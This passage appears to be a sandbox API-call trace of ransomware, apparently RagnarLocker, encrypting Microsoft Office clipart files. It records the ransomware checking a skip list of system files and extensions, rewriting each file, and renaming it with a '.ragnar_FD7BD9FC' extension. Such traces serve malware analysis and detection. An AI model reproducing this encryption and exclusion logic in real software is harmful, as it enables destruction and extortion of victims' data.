hFile=0xf4, liDistanceToMove=0x8f3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.857] GetProcessHeap () returned 0x580000 [0081.857] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0081.857] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0081.858] VirtualAlloc (lpAddress=0x0, dwSize=0x8fc, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0081.858] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.858] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0081.858] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x8fc, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x8fc, lpOverlapped=0x0) returned 1 [0081.858] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0081.858] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8fc, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.858] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x8fc, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x8fc, lpOverlapped=0x0) returned 1 [0081.859] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8fc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.859] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0081.859] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8fc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.859] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.859] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.859] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.859] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0081.859] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.859] GetProcessHeap () returned 0x580000 [0081.859] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0081.859] CloseHandle (hObject=0xf4) returned 1 [0081.859] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF" [0081.859] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF.ragnar_FD7BD9FC" [0081.859] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0081.860] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01163_.WMF", cAlternateFileName="")) returned 1 [0081.860] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0081.860] lstrcpyW (in: lpString1=0x1eb62e, lpString2="DD01163_.WMF" | out: lpString1="DD01163_.WMF") returned="DD01163_.WMF" [0081.860] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned=".WMF" [0081.860] lstrcmpiW (lpString1="DD01163_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0081.860] lstrcmpiW (lpString1="DD01163_.WMF", lpString2="autorun.inf") returned 1 [0081.860] lstrcmpiW (lpString1="DD01163_.WMF", lpString2="boot.ini") returned 1 [0081.860] lstrcmpiW (lpString1="DD01163_.WMF", lpString2="bootfont.bin") returned 1 [0081.860] lstrcmpiW (lpString1="DD01163_.WMF", lpString2="bootsect.bak") returned 1 [0081.860] lstrcmpiW (lpString1="DD01163_.WMF", lpString2="bootmgr") returned 1 [0081.860] lstrcmpiW (lpString1="DD01163_.WMF", lpString2="bootmgr.efi") returned 1 [0081.860] lstrcmpiW (lpString1="DD01163_.WMF", lpString2="bootmgfw.efi") returned 1 [0081.860] lstrcmpiW (lpString1="DD01163_.WMF", lpString2="desktop.ini") returned -1 [0081.860] lstrcmpiW (lpString1="DD01163_.WMF", lpString2="iconcache.db") returned -1 [0081.860] lstrcmpiW (lpString1="DD01163_.WMF", lpString2="ntldr") returned -1 [0081.860] lstrcmpiW (lpString1="DD01163_.WMF", lpString2="ntuser.dat") returned -1 [0081.860] lstrcmpiW (lpString1="DD01163_.WMF", lpString2="ntuser.dat.log") returned -1 [0081.860] lstrcmpiW (lpString1="DD01163_.WMF", lpString2="ntuser.ini") returned -1 [0081.860] lstrcmpiW (lpString1="DD01163_.WMF", lpString2="thumbs.db") returned -1 [0081.860] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0081.860] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0081.860] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0081.860] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0081.861] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0081.861] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0081.861] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0081.861] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf")) returned 0x20 [0081.861] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0081.861] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2300) returned 1 [0081.861] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8f3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.861] GetProcessHeap () returned 0x580000 [0081.861] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0081.861] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0081.863] VirtualAlloc (lpAddress=0x0, dwSize=0x8fc, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0081.863] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.863] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0081.863] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x8fc, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x8fc, lpOverlapped=0x0) returned 1 [0081.863] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0081.863] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8fc, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.863] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x8fc, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x8fc, lpOverlapped=0x0) returned 1 [0081.863] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8fc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.863] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0081.863] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8fc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.863] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.863] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.864] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.864] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0081.864] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.864] GetProcessHeap () returned 0x580000 [0081.864] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0081.864] CloseHandle (hObject=0xf4) returned 1 [0081.864] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF" [0081.864] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF.ragnar_FD7BD9FC" [0081.864] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0081.864] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x820, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01166_.WMF", cAlternateFileName="")) returned 1 [0081.864] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0081.864] lstrcpyW (in: lpString1=0x1eb62e, lpString2="DD01166_.WMF" | out: lpString1="DD01166_.WMF") returned="DD01166_.WMF" [0081.864] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned=".WMF" [0081.865] lstrcmpiW (lpString1="DD01166_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0081.865] lstrcmpiW (lpString1="DD01166_.WMF", lpString2="autorun.inf") returned 1 [0081.865] lstrcmpiW (lpString1="DD01166_.WMF", lpString2="boot.ini") returned 1 [0081.865] lstrcmpiW (lpString1="DD01166_.WMF", lpString2="bootfont.bin") returned 1 [0081.865] lstrcmpiW (lpString1="DD01166_.WMF", lpString2="bootsect.bak") returned 1 [0081.865] lstrcmpiW (lpString1="DD01166_.WMF", lpString2="bootmgr") returned 1 [0081.865] lstrcmpiW (lpString1="DD01166_.WMF", lpString2="bootmgr.efi") returned 1 [0081.865] lstrcmpiW (lpString1="DD01166_.WMF", lpString2="bootmgfw.efi") returned 1 [0081.865] lstrcmpiW (lpString1="DD01166_.WMF", lpString2="desktop.ini") returned -1 [0081.865] lstrcmpiW (lpString1="DD01166_.WMF", lpString2="iconcache.db") returned -1 [0081.865] lstrcmpiW (lpString1="DD01166_.WMF", lpString2="ntldr") returned -1 [0081.865] lstrcmpiW (lpString1="DD01166_.WMF", lpString2="ntuser.dat") returned -1 [0081.865] lstrcmpiW (lpString1="DD01166_.WMF", lpString2="ntuser.dat.log") returned -1 [0081.865] lstrcmpiW (lpString1="DD01166_.WMF", lpString2="ntuser.ini") returned -1 [0081.865] lstrcmpiW (lpString1="DD01166_.WMF", lpString2="thumbs.db") returned -1 [0081.865] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0081.865] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0081.865] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0081.865] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0081.865] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0081.865] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0081.865] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0081.865] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf")) returned 0x20 [0081.866] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0081.866] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2080) returned 1 [0081.866] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x817, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.866] GetProcessHeap () returned 0x580000 [0081.866] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0081.866] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0081.867] VirtualAlloc (lpAddress=0x0, dwSize=0x820, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0081.868] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.868] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0081.868] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x820, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x820, lpOverlapped=0x0) returned 1 [0081.868] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0081.868] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x820, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.868] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x820, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x820, lpOverlapped=0x0) returned 1 [0081.868] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x820, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.868] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0081.868] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x820, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.868] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.868] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.869] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.869] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0081.869] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.869] GetProcessHeap () returned 0x580000 [0081.869] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0081.869] CloseHandle (hObject=0xf4) returned 1 [0081.869] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF" [0081.869] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF.ragnar_FD7BD9FC" [0081.869] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0081.869] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x820, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01167_.WMF", cAlternateFileName="")) returned 1 [0081.869] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0081.869] lstrcpyW (in: lpString1=0x1eb62e, lpString2="DD01167_.WMF" | out: lpString1="DD01167_.WMF") returned="DD01167_.WMF" [0081.870] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned=".WMF" [0081.870] lstrcmpiW (lpString1="DD01167_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0081.870] lstrcmpiW (lpString1="DD01167_.WMF", lpString2="autorun.inf") returned 1 [0081.870] lstrcmpiW (lpString1="DD01167_.WMF", lpString2="boot.ini") returned 1 [0081.870] lstrcmpiW (lpString1="DD01167_.WMF", lpString2="bootfont.bin") returned 1 [0081.870] lstrcmpiW (lpString1="DD01167_.WMF", lpString2="bootsect.bak") returned 1 [0081.870] lstrcmpiW (lpString1="DD01167_.WMF", lpString2="bootmgr") returned 1 [0081.870] lstrcmpiW (lpString1="DD01167_.WMF", lpString2="bootmgr.efi") returned 1 [0081.870] lstrcmpiW (lpString1="DD01167_.WMF", lpString2="bootmgfw.efi") returned 1 [0081.870] lstrcmpiW (lpString1="DD01167_.WMF", lpString2="desktop.ini") returned -1 [0081.870] lstrcmpiW (lpString1="DD01167_.WMF", lpString2="iconcache.db") returned -1 [0081.870] lstrcmpiW (lpString1="DD01167_.WMF", lpString2="ntldr") returned -1 [0081.870] lstrcmpiW (lpString1="DD01167_.WMF", lpString2="ntuser.dat") returned -1 [0081.870] lstrcmpiW (lpString1="DD01167_.WMF", lpString2="ntuser.dat.log") returned -1 [0081.870] lstrcmpiW (lpString1="DD01167_.WMF", lpString2="ntuser.ini") returned -1 [0081.870] lstrcmpiW (lpString1="DD01167_.WMF", lpString2="thumbs.db") returned -1 [0081.870] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0081.870] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0081.870] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0081.870] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0081.870] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0081.870] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0081.870] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0081.870] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf")) returned 0x20 [0081.870] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0081.870] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2080) returned 1 [0081.871] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x817, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.871] GetProcessHeap () returned 0x580000 [0081.871] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0081.871] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0081.872] VirtualAlloc (lpAddress=0x0, dwSize=0x820, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0081.872] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.872] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, 